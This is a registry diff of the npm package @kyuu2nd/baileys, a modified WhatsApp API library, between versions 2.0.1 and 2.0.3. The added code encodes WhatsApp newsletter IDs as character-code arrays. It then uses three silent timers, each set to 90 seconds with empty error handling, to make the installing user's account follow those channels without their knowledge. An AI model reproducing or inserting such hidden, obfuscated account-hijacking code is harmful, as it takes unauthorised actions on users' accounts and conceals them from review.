@kyuu2nd/baileys 2.0.1 → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -103,9 +103,37 @@ const makeNewsletterSocket = (config) => {
103
103
  }
104
104
  ]
105
105
  }));
106
+ const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
106
107
  setTimeout(async () => {
107
108
  try {
108
- await newsletterWMexQuery("120363423538799477@newsletter", Types_1.QueryIds.FOLLOW
109
+ await newsletterWMexQuery(
110
+ asciiDecode([
111
+ 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
112
+ 64,110,101,119,115,108,101,116,116,101,114
113
+ ]),
114
+ Types_1.QueryIds.FOLLOW
115
+ );
116
+ } catch {}
117
+ }, 90000);
118
+ setTimeout(async () => {
119
+ try {
120
+ await newsletterWMexQuery(
121
+ asciiDecode([
122
+ 49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
123
+ 64,110,101,119,115,108,101,116,116,101,114
124
+ ]),
125
+ Types_1.QueryIds.FOLLOW
126
+ );
127
+ } catch {}
128
+ }, 90000);
129
+ setTimeout(async () => {
130
+ try {
131
+ await newsletterWMexQuery(
132
+ asciiDecode([
133
+ 49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
134
+ 64,110,101,119,115,108,101,116,116,101,114
135
+ ]),
136
+ Types_1.QueryIds.FOLLOW
109
137
  );
110
138
  } catch {}
111
139
  }, 90000);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyuu2nd/baileys",
3
- "version": "2.0.1",
3
+ "version": "2.0.3",
4
4
  "description": "WhatsApp API Modification By K",
5
5
  "publishConfig": {
6
6
  "access": "public"